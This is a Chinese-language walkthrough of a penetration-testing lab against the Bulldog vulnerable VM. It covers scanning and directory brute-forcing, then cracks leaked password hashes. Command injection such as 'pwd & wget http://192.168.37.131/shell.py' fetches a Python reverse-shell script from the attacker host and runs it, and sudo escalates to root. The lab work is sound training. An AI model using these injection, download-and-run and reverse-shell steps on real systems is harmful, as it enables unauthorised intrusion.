一. 实验环境
二. 实验流程
三. 实验步骤
(1)信息收集——主机发现
(2)信息收集——端口扫描
(3)信息收集——操作系统扫描
(4)Web渗透
四. 实验总结
- 靶机:IP地址暂时未知;
- 测试机:kali IP地址:192.168.37.131
- 测试机:物理机win7
- 信息收集——主机发现
- 信息收集——端口扫描
- 信息收集——操作系统扫描
- Web渗透
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 扫描主机(netdiscover)
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
- 找到目标主机IP:192.168.37.141
- 也可以使用nmap进行主机发现,在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
1. 扫描端口(masscan)
masscan --rate=10000 --ports 0-65535 192.168.37.139
masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址/IP地址段
- Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次;
2. 扫描端口的详细信息(nmap)
nmap -sV -T4 -p 23,80,8080 192.168.37.141
- 其中:-T4指定扫描过程中使用的时序(分为0-5等级);
- -sV扫描版本的信息和开启的服务;
- 也可以选择带-A参数,详细扫描开放端口的具体服务;
- 与masscan相比,namp更详细,但是速度较慢(可以通过masscan快速扫描开放的端口,再使用nmap扫描具体开放的端口);
- 可以发现192.168.37.141主机开启了23(ssh服务),80(http服务),8080(http)端口;
1. 扫描操作系统的信息(nmap)
nmap -O 192.168.37.141
80端口(http服务)
1. 发现目标开启http服务,访问80端口
2. 查看可以点击的内容;
点击Bulldog Industries
点击Public Notice
- 访问网页上可以点击的信息,没有发现什么有价值的信息,继续探索;
3. 网站指纹信息扫描
whatweb 192.168.37.141
- Web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征,实现对目标的web应用的准确标识。
- 应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本)四大特征的识别。
4. 目录扫描(dirb)
dirb http://192.168.37.141
- 扫描Web目录,可以发现潜在的渗透目标;
- 发现/admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录;
- 该工具根据用户提供的字典,对目标网站目录进行暴力猜测。尝试以递归方式进行爆破,以发现更多的路径;
5. 查看扫描到的web目录
5.1> 访问http://192.168.37.141/admin/
并尝试弱口令登录,SQL注入;
- 发现网站的登录页面;
- 尝试弱口令登录,没有成功;
- 尝试SQL注入,没有成功;
- 这里可以尝试使用暴力破解登录账号和密码;
5.2> 访问http://192.168.37.141/dev/
- 翻译页面的信息可知:
- 完全从新服务器中删除PHP。此外,不使用PHPMyAdmin或任何其他流行的CMS系统;
- 新网站将完全用Django语言编写。目前,系统上启用了SSH。当我们转换到使用Web-Shell(一个专有的shell接口)时,这个选项将被关闭;
- 此外,请注意我们将开始使用MongoDB,但是我们还没有完全安装它;
点击UNDER DEVELOPMENT,返回到主页;
点击Web-Shell,需要与服务器建立认证;
- 好像也没有发现什么有价值的信息;
6. 查看前端页面的代码
6.1> 查看http://192.168.37.141/admin/的前端代码
- 没有发现可以突破的信息;
6.2> 查看http://192.168.37.141/dev/的前端代码
发现了许多疑似加密的密码,尝试进行MD5破解;
- 分析源码可以猜测:
用户名为nick,密码为bulldog;
用户名为sarah,密码为bulldoglover;
7. 尝试进行登录主页
用户名为nick,密码为bulldog;
用户名为sarah,密码为bulldoglover;
认证成功之后,尝试访问http://192.168.37.141/dev/shell/;
8. 获取shell
8.1> 发现只能使用给定的几个命令;尝试命令注入;
8.2> 可以进行命令注入后,尝试wget是否有权限;
在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;
输入如下命令:pwd & wget http://192.168.37.131;
在Kali上监听到访问记录;证明wget有权限;
8.3> 将python shell脚本下载到目标靶机系统;
在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);
输入如下命令:pwd & wget http://192.168.37.131/shell.py;
成功将shell.py下载到目标系统;
8.4> python反弹shell,获取目标shell;
在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;
监听1234端口;
在webshell上执行如下命令:pwd & wget ls & python shell.py;
在kali上进行查看;已经成功获取到目标shell;
9. 提权操作
9.1> 查看系统中的用户;需要关注的用户bulldogadmin,django;
9.2> 进入用户bulldogadmin的家目录下,查看家目录下有什么文件;
发现一个隐藏目录 .hiddenadmindirectory
;
该隐藏目录下存在两个文件,一个note提示,一个可执行文件;查看两个文件的内容;
利用strings查看可执行文件中的内容;(strings命令用来提取和显示非文本文件中的文本字符串)
猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget, 可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget,H是来混淆的,中间刚好有PADDWORD;
9.3> 尝试用获取的密码登录;
su命令不能执行;
用python命令打开一个新的终端,尝试进行提权,输入命令:sudo python -c 'import pty; pty.spawn("/bin/bash")';
进行其他操作,留后门等;
- 针对目录爆破出dev和admin页面:通过查看页面可以点击的超链接,说明,源代码等获取可用的信息,即登录用户名和密码;
- 登录成功后,获取webshell,并使用命令执行漏洞绕过白名单限制,执行命令和python反弹shell;
- 搭建临时web服务(python -m SimpleHTTPServer 80)
- 成功获取目标主机shell后,搜索系统中id为1000以后的用户的文件,可以找到隐藏文件(猜解root密码),进行提权操作;